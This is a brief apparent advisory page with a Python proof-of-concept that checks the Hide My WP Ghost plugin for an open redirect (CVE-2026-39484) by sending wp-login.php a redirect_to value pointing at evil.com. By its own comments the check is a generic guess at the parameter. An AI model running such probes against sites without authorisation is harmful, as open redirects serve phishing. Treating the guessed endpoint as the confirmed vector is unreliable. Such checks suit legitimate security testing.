CVE-2026-39484: Hide My WP Ghost开放重定向漏洞

# PoC for CVE-2026-39484 (Open Redirect) # Target: Hide My WP Ghost < 7.0.00 import requests def check_open_redirect(target_domain): # The vulnerable endpoint often accepts a redirection parameter # Common parameter names in WP plugins include 'redirect_to', 'url', 'next', etc. # This example assumes a common implementation pattern. evil_site = "https://evil.com" # Construct the malicious payload # Note: The actual parameter name might need adjustment based on the specific plugin endpoint target_url = f"{target_domain}/wp-login.php?redirect_to={evil_site}" try: response = requests.get(target_url, allow_redirects=False) # Check if the response is a 302 Redirect and points to the external site if response.status_code == 302: location = response.headers.get('Location') if location and evil_site in location: return f"[+] Vulnerable! Redirecting to: {location}" else: return "[-] Not vulnerable or parameter incorrect." else: return "[-] No redirect detected." except Exception as e: return f"[!] Error: {e}" if __name__ == "__main__": # Replace with the actual target URL target = "http://example.com" print(check_open_redirect(target))